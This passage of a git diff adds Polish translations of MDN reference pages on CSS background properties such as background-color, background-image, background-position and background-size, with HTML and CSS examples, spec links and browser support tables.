+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Multiple_background_image_support")}}</p>
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-attachment">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-attachment">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-attachment">CSS 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/background-color/index.html b/files/pl/web/css/background-color/index.html
new file mode 100644
index 0000000000..611526f4ac
--- /dev/null
+++ b/files/pl/web/css/background-color/index.html
@@ -0,0 +1,82 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/background-color
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>Właściwość CSS <strong>background-color</strong></code> ustawia kolor tła elementu, albo poprzez wartość koloru lub słowo kluczowe <em><code>transparent</code></em>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<p>Właściwość <strong>background-color</strong> jest deklarowana jako pojedyncza wartość &lt;color&gt;.</p>
+
+<pre class="eval">background-color: <em>color</em> | transparent | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>Jest to styl CSS, który opisuje zunifikowany kolor tła. Nawet jeśli jest zdefiniowany jeden lub kilka {{cssxref("background-image")}}, kolor może być renderowany, poprzez przezroczystość o ile nie jest ustawiony jako opaque. W CSS <em>transparent</em> jest kolorem.</dd>
+ <dd>Kolor może być określony jako szesnastkowa wartość RGB np. #ffaac9, typowa wartość RGB np.
+ <pre><code>rgb(255, 255, 128);</code></pre>
+  lub poprzez użycie jednego z predefiniowanych słów kluczowych określających kolor.</dd>
+ <dt>transparent </dt>
+ <dd>Domyślną wartością dla <strong><code>background-color</code></strong> jest <em><code>transparent</code></em>, oznacza to, że element nie ma własnego koloru tła, zamiast tego renderowany jest kolor tła rodzica.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exampleone"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exampletwo"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="examplethree"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[2,7,12,17];">.exampleone {
+ background-color: teal;
+ color: white;
+}
+
+.exampletwo {
+ background-color: rgb(153,102,153);
+ color: rgb(255,255,204);
+}
+
+.examplethree {
+ background-color: #777799;
+ color: #FFFFFF;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples","200","150")}}</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-color">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-color">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-color">CSS 3</a></li>
+</ul>
diff --git a/files/pl/web/css/background-image/index.html b/files/pl/web/css/background-image/index.html
new file mode 100644
index 0000000000..471909c967
--- /dev/null
+++ b/files/pl/web/css/background-image/index.html
@@ -0,0 +1,114 @@
+---
+title: background-image
+slug: Web/CSS/background-image
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/background-image
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <code>background-image</code> ustawia obrazek tła dla elementu.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">background-image: <em>uri</em> | none | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>uri </dt>
+ <dd>Położenie zasobu obrazka używanego jako obrazek tła.</dd>
+ <dt>none </dt>
+ <dd>Używane do wyszczególnienia, że dany element nie powinien mieć obrazka tła.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Note that the star image is partially transparent and is layered over the cat image.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;p class="catsandstars"&gt;
+ This paragraph is full of cats&lt;br /&gt;and stars.
+ &lt;/p&gt;
+ &lt;p&gt;This paragraph is not.&lt;/p&gt;
+ &lt;p class="catsandstars"&gt;
+ Here are more cats for you.&lt;br /&gt;Look at them!
+ &lt;/p&gt;
+ &lt;p&gt;And no more.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">pre, p {
+ font-size: 1.5em;
+ color: #FE7F88;
+ background-color: transparent;
+}
+
+div {
+ background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+p {
+ background-image: none;
+}
+
+.catsandstars {
+ background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+ url("https://mdn.mozillademos.org/files/7693/catfront.png");
+ background-color: transparent;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Przyk%C5%82ady')}}</p>
+
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+
+<p>Twórcy powinni się upewnić, że określili {{ Cssxref("background-color") }} do użycia w przypadku, jeśli obrazek jest niedostępny. Obrazki tła są wyświetlane nad kolorem tła.</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-image">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-image">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background-image">CSS 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarki</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/background-origin/index.html b/files/pl/web/css/background-origin/index.html
new file mode 100644
index 0000000000..551703c7da
--- /dev/null
+++ b/files/pl/web/css/background-origin/index.html
@@ -0,0 +1,52 @@
+---
+title: background-origin
+slug: Web/CSS/background-origin
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+translation_of: Web/CSS/background-origin
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>w aplikacjach opartych na Mozilli <code>-moz-background-origin</code> decyduje, który boks wyznacza układ współrzędnych używanych przez wartości własności {{ Cssxref("background-position") }}.</p>
+
+<p><code>background-origin</code> nie stosuje się, gdy własność {{ Cssxref("background-attachment") }} ma wartość <code>fixed</code>.</p>
+
+<ul>
+ <li>Wartość początkowa: padding-box</li>
+ <li>Dotyczy: wszystkich elementów</li>
+ <li>Dziedziczony: nie</li>
+</ul>
+
+<p> </p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">background-origin: border-box | padding-box | content-box
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>border-box</dt>
+ <dd>Pozycja tła jest relatywna względem obramowania, zatem obrazek może znaleźć się pod obramowaniem.</dd>
+ <dt>padding-box</dt>
+ <dd>Pozycja tła jest relatywna względem wypełnienia.</dd>
+ <dt>content-box</dt>
+ <dd>Pozycja tła jest relatywna względem zawartości.</dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre>hbox.example {
+ border: 10px double #000000;
+ padding: 10px;
+ background: url('image.jpg');
+ background-position: center left;
+ /* tło będzie wewnątrz padding */
+ background-origin: content-box;
+}
+</pre>
diff --git a/files/pl/web/css/background-position/index.html b/files/pl/web/css/background-position/index.html
new file mode 100644
index 0000000000..6279af31f2
--- /dev/null
+++ b/files/pl/web/css/background-position/index.html
@@ -0,0 +1,122 @@
+---
+title: background-position
+slug: Web/CSS/background-position
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/background-position
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>background-position</code> ustawia początkowe położenie obrazka tła, który został zdefiniowany.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">background-position: [ &lt;percentage&gt; | &lt;length&gt; | left | center | right ]
+ [ &lt;percentage&gt; | &lt;length&gt; | top | center | bottom ] ? ;
+</pre>
+
+<pre class="eval">background-position: [ top | center | bottom ];
+</pre>
+
+<pre class="eval">background-position: inherit;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;percentage&gt;")}} &lt;percentage&gt;</dt>
+ <dd>Wraz z parą wartości '0% 0%', lewy górny róg obrazka jest wyrównany względem górnego lewego rogu dopełnienia bloku. Para wartości '100% 100%' umieszcza dolny prawy róg obrazka w dolnym prawym rogu obszaru dopełnienia. Wraz z parą wartości '14% 84%', punkt 14% wszerz i 84% w dół obrazka jest umiejscawiany w punkcie 14% wszerz i 84% w dół obszaru dopełnienia'.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}} &lt;length&gt;</dt>
+ <dd>Wraz z parą wartości '2cm 1cm', górny lewy róg obrazka jest umieszczony 2cm od prawego i 1cm poniżej górnego krańca obszaru dopełnienia.</dd>
+ <dt>top left oraz left top</dt>
+ <dd>Tak samo jak '0% 0%'.</dd>
+ <dt>top, top center, oraz center top</dt>
+ <dd>Tak samo jak '50% 0%'.</dd>
+ <dt>right top oraz top right</dt>
+ <dd>Tak samo jak '100% 0%'.</dd>
+ <dt>left, left center, oraz center left</dt>
+ <dd>Tak samo jak '0% 50%'.</dd>
+ <dt>center oraz center center</dt>
+ <dd>Tak samo jak '50% 50%'.</dd>
+ <dt>right, right center, oraz center right</dt>
+ <dd>Tak samo jak '100% 50%'.</dd>
+ <dt>bottom left oraz left bottom</dt>
+ <dd>Tak samo jak '0% 100%'.</dd>
+ <dt>bottom, bottom center, oraz center bottom</dt>
+ <dd>Tak samo jak '50% 100%'.</dd>
+ <dt>bottom right oraz right bottom</dt>
+ <dd>Tak samo jak '100% 100%'.</dd>
+</dl>
+
+<p>Jeśli tylko jedna wartość jest określona, wtedy ustawia położenie poziome, z pozycją pionową 50%. W innym przypadku pierwsza wartość określa położenie w poziomie. Dozwolone są kombinacje słów kluczowych, długości i procentów, jednak, jeśli słowa kluczowe są wymieszane z innymi wartościami, wartości 'left' i 'right' mogą być używane tylko jako pierwsza wartość, zaś wartości 'top' i 'bottom' mogą być używane tylko jako druga wartość. Położenie ujemne jest dozwolone.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>.exampleone {
+ background-image: url("logo.png");
+ background-position: top center;
+}
+
+.exampletwo {
+ background-image: url("logo.png");
+ background-position: 25% 75%;
+}
+
+.examplethree {
+ background-image: url("logo.png");
+ background-position: 2cm bottom;
+}
+
+.examplefour {
+ background-image: url("logo.png");
+ background-position: center 10%;
+}
+
+.examplefive {
+ background-image: url("logo.png");
+ background-position: 2cm 50%;
+}
+
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background-position">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-position">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-position">CSS 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/background-size/index.html b/files/pl/web/css/background-size/index.html
new file mode 100644
index 0000000000..7c4383448a
--- /dev/null
+++ b/files/pl/web/css/background-size/index.html
@@ -0,0 +1,190 @@
+---
+title: background-size
+slug: Web/CSS/background-size
+translation_of: Web/CSS/background-size
+---
+<div>{{CSSRef}}</div>
+
+<p><code style=""><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Właściwość </span></font><strong>background-size</strong></code> określa wielkość elementu <code>background-image.</code> Obrazek może pozostać w jego domyślnych wymiarach, rozciągnięty do nowych wymiarów lub ustawiony tak, aby zajmował całą dostępną przestrzeń zachowując swoje proporcje.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-size.html")}}</div>
+
+<p class="hidden">Źródło tego interaktywnego przykładu jest zlokalizowane na GitHub. Jeśli chcesz wspierać projekt interaktywnych przykładów sklonuj (clone) <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam pull request.</p>
+
+<p>Przestrzenie nie zapełnione przez <code>background-image</code> wypełnia {{cssxref("background-color")}}, <code>background-color</code> będzie widoczny jeżeli obrazek jest przezroczysty.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* Wartości słowne */
+background-size: cover;
+background-size: contain;
+
+/* Właściwości z jedną wartością */
+/* szerokość obrazka (wysokość stanie się 'auto') */
+background-size: 50%;
+background-size: 3.2em;
+background-size: 12px;
+background-size: auto;
+
+/* Właściwości z dwoma wartościami */
+/* pierwsza wartość: szerokość obrazka, druga wartość: wysokość */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* Wiele teł */
+background-size: auto, auto; /* Not to be confused with `auto auto` */
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* Wartości globalne */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+</pre>
+
+<p>Właściwość <code>background-size</code> jest określana w jeden z podanych sposobów:</p>
+
+<ul>
+ <li>Używając wartości słownych <code><a href="#contain">contain</a></code> lub <code><a href="#cover">cover</a></code>.</li>
+ <li>Używając tylko wartości długości, w tym przypadku wysokość jest domyślnie ustawiona na <code><a href="#auto">auto</a></code><a href="#auto">.</a></li>
+ <li>Używając obu wartości (width i height), każda z wartości może być określona jako długość {{cssxref("&lt;length&gt;")}}, w procentach {{cssxref("&lt;percentage&gt;")}} lub <code><a href="#auto">auto</a></code>.</li>
+</ul>
+
+<p>Aby określić wielkość wielu teł, odziel wartości dla każdego tła przecinkami.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt id="contain"><code>contain</code></dt>
+ <dd>Skaluje obrazek do jak największych rozmiarów, bez jego rozciągania czy przycinania.</dd>
+ <dt id="cover"><code>cover</code></dt>
+ <dd>Skaluje obrazek do jak największych rozmiarów, bez jego rozciągania. Jeżeli proporcje obrazu są inne od elementu, jest on przycinany pionowo lub poziomo - tak, żeby nie zostało puste miejsce.</dd>
+ <dt id="auto"><code>auto</code></dt>
+ <dd>Skaluje tło w odpowiednim kierunku, po to aby zachować jego nieodłączne proporcje.</dd>
+ <dt id="length">{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Rozciąga obrazek w odpowiednim kierunku do określonej długości. Nie można używać wartości ujemnych.</dd>
+ <dt id="percentage">{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>[do przetłumaczenia na: Polski]</dd>
+ <dd>Stretches the image in the corresponding dimension to the specified percentage of the <em>background positioning area</em>. The background positioning area is determined by the value of {{cssxref("background-origin")}} (by default, the padding box). However, if the background's {{cssxref("background-attachment")}} value is <code>fixed</code>, the positioning area is instead the entire {{glossary("viewport")}}. Negative values are not allowed.</dd>
+</dl>
+
+<h3 id="Intrinsic_dimensions_and_proportions">Intrinsic dimensions and proportions</h3>
+
+<p>The computation of values depends on the image's intrinsic dimensions (width and height) and intrinsic proportions (width-to-height ratio). These attributes are as follows:</p>
+
+<ul>
+ <li>A bitmap image (such as JPG) always has intrinsic dimensions and proportions.</li>
+ <li>A vector image (such as SVG) does not necessarily have intrinsic dimensions. If it has both horizontal and vertical intrinsic dimensions, it also has intrinsic proportions. If it has no dimensions or only one dimension, it may or may not have proportions.</li>
+ <li>CSS {{cssxref("&lt;gradient&gt;")}}s have no intrinsic dimensions or intrinsic proportions.</li>
+ <li>Background images created with the {{cssxref("element()")}} function use the intrinsic dimensions and proportions of the generating element.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> The behavior of <code>&lt;gradient&gt;</code>s changed in Gecko 8.0 {{geckoRelease("8.0")}}. Before this, they were treated as images with no intrinsic dimensions, but with intrinsic proportions identical to that of the background positioning area.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> In Gecko, background images created using the {{cssxref("element()")}} function are currently treated as images with the dimensions of the element, or of the background positioning area if the element is SVG, with the corresponding intrinsic proportion. This is non-standard behavior.</p>
+</div>
+
+<p>Based on the intrinsic dimensions and proportions, the rendered size of the background image is computed as follows:</p>
+
+<dl>
+ <dt>If both components of <code>background-size</code> are specified and are not <code>auto</code>:</dt>
+ <dd>The background image is rendered at the specified size.</dd>
+ <dt>If the <code>background-size</code> is <code>contain</code> or <code>cover</code>:</dt>
+ <dd>While preserving its intrinsic proportions, the image is rendered at the largest size contained within, or covering, the background positioning area. If the image has no intrinsic proportions, then it's rendered at the size of the background positioning area.</dd>
+ <dt>If the <code>background-size</code> is <code>auto</code> or <code>auto auto</code>:</dt>
+ <dd>
+ <ul>
+ <li>If the image has both horizontal and vertical intrinsic dimensions, it's rendered at that size.</li>
+ <li>If the image has no intrinsic dimensions and has no intrinsic proportions, it's rendered at the size of the background positioning area.</li>
+ <li>If the image has no intrinsic dimensions but has intrinsic proportions, it's rendered as if <code>contain</code> had been specified instead.</li>
+ <li>If the image has only one intrinsic dimension and has intrinsic proportions, it's rendered at the size corresponding to that one dimension. The other dimension is computed using the specified dimension and the intrinsic proportions.</li>
+ <li>If the image has only one intrinsic dimension but has no intrinsic proportions, it's rendered using the specified dimension and the other dimension of the background positioning area.</li>
+ </ul>
+ </dd>
+ <dd>
+ <div class="note"><strong>Note:</strong> SVG images have a <code><a href="/en-US/docs/Web/SVG/Attribute/preserveAspectRatio">preserveAspectRatio</a></code> attribute that defaults to the equivalent of <code>contain</code>. In Firefox 43, as opposed to Chrome 52, an explicit <code>background-size</code> causes <code>preserveAspectRatio</code> to be ignored.</div>
+ </dd>
+ <dt>If the <code>background-size</code> has one <code>auto</code> component and one non-<code>auto</code> component:</dt>
+ <dd>
+ <ul>
+ <li>If the image has intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the specified dimension and the intrinsic proportions.</li>
+ <li>If the image has no intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the image's corresponding intrinsic dimension, if there is one. If there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. Be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are acceptable.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Please see <a href="/en-US/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">Scaling background images</a> for examples.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>If you use a <code>&lt;gradient&gt;</code> as the background and specify a <code>background-size</code> to go with it, it's best not to specify a size that uses a single <code>auto</code> component, or is specified using only a width value (for example, <code>background-size: 50%</code>). Rendering of <code>&lt;gradient&gt;</code>s in such cases changed in Firefox 8, and at present is generally inconsistent across browsers, which do not all implement rendering in full accordance with <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">the CSS3 <code>background-size</code> specification</a> and with <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">the CSS3 Image Values gradient specification</a>.</p>
+
+<pre class="brush: css">.gradient-example {
+ width: 50px;
+ height: 100px;
+ background-image: linear-gradient(blue, red);
+
+ /* Not safe to use */
+ background-size: 25px;
+ background-size: 50%;
+ background-size: auto 50px;
+ background-size: auto 50%;
+
+ /* Safe to use */
+ background-size: 25px 50px;
+ background-size: 50% 50%;
+}
+</pre>
+
+<p>Note that it's particularly not recommended to use a pixel dimension and an <code>auto</code> dimension with a <code>&lt;gradient&gt;</code>, because it's impossible to replicate rendering in versions of Firefox prior to 8, and in browsers not implementing Firefox 8's rendering, without knowing the exact size of the element whose background is being specified.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.background-size")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Scaling_background_images" title="CSS/Scaling_background_images">Scaling background images</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Scaling_of_SVG_backgrounds">Scaling of SVG backgrounds</a></li>
+ <li>{{cssxref("object-fit")}}</li>
+</ul>
diff --git a/files/pl/web/css/background/index.html b/files/pl/web/css/background/index.html
new file mode 100644
index 0000000000..0fc3dea0c2
--- /dev/null
+++ b/files/pl/web/css/background/index.html
@@ -0,0 +1,134 @@
+---
+title: background
+slug: Web/CSS/background
+tags:
+ - CSS
+ - CSS Tło
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/background
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność <strong><code>background</code></strong> jest skrótem do ustawiania poszczególnych wartości tła z jednego miejsca w arkuszu stylów. Właściwość <strong><code>background</code></strong> może być stosowana do ustawiania wartości dla jednej lub więcej z wymienionych warstw własności: {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">background: [ <em>&lt;background-color&gt;</em> || <em>&lt;background-image&gt;</em> ||
+ <em>&lt;background-repeat&gt;</em> || <em>&lt;background-attachment&gt;</em> ||
+ <em>&lt;background-position&gt;</em>
+ ] | {{ Cssxref("inherit") }} ;
+</pre>
+
+<p>Właściwość <strong>background </strong>jest deklarowana przez jedną lub więcej warstw tej właściwości, oddzielonych przecinkami.</p>
+
+<p>Składnia każdej z warstw jest następująca:</p>
+
+<ul>
+ <li>Każda warstwa może zawierać zero lub jedno wystąpienie którejś z następujących wartości:<code>​​​​</code>
+
+ <ul>
+ <li>&lt;attachment&gt;</li>
+ <li>&lt;repeat-style&gt;</li>
+ <li>&lt;bg-size&gt;</li>
+ <li>&lt;position&gt;</li>
+ <li>&lt;bg-image&gt;</li>
+ </ul>
+ </li>
+ <li>Wartość &lt;bg-size&gt; może być wstawiona bezpośrednio po wartości &lt;position&gt;, oddzielonej znakiem '/', np. "<code>center/80%</code>".</li>
+ <li>Wartość &lt;box&gt; może być wstawiona zero, jeden lub dwa razy. Jeśli jest wstawiona raz - ustawia zarówno {{cssxref("background-origin")}} jak i {{cssxref("background-clip")}}. Jeśli wystąpi dwa razy - pierwsze wystąpienie ustawia  {{cssxref("background-origin")}}, a drugie {{cssxref("background-clip")}}.</li>
+ <li>Wartość &lt;background-color&gt; może być wstawiona jedynie w specyfikacji ostatniej warstwy.</li>
+</ul>
+
+<dl>
+ <dd> </dd>
+</dl>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>background-color</dt>
+ <dd>Zobacz <code><a href="/pl/CSS/background-color" title="pl/CSS/background-color">background-color</a></code>.</dd>
+ <dt>background-image </dt>
+ <dd>Zobacz <code><a href="/pl/CSS/background-image" title="pl/CSS/background-image">background-image</a></code>.</dd>
+ <dt>background-repeat </dt>
+ <dd>Zobacz <code><a href="/pl/CSS/background-repeat" title="pl/CSS/background-repeat">background-repeat</a></code>.</dd>
+ <dt>background-attachment </dt>
+ <dd>Zobacz <code><a href="/pl/CSS/background-attachment" title="pl/CSS/background-attachment">background-attachment</a></code>.</dd>
+ <dt>background-position </dt>
+ <dd>Zobacz <code><a href="/pl/CSS/background-position" title="pl/CSS/background-position">background-position</a></code>.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="topbanner"&gt;
+ Starry sky&lt;br/&gt;
+ Twinkle twinkle&lt;br/&gt;
+ Starry sky
+&lt;/p&gt;
+&lt;p class="warning"&gt;Here is a paragraph&lt;p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css' highlight:[2,6];">.warning {
+ background: red;
+}
+
+.topbanner {
+ background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Biorąc pod uwagę sensowność deklaracji, własność <strong><code>background</code></strong> najpierw ustawia poszczególne własności <strong>tła</strong> na ich domyślne wartości, potem przydziela jawnie wartości określone w deklaracji. Nie musisz definiować wartości dla każdej warstwy, wystarczy, że zadeklarujesz tylko te, które chcesz zmienić z wartości domyślnej.</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background">CSS 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
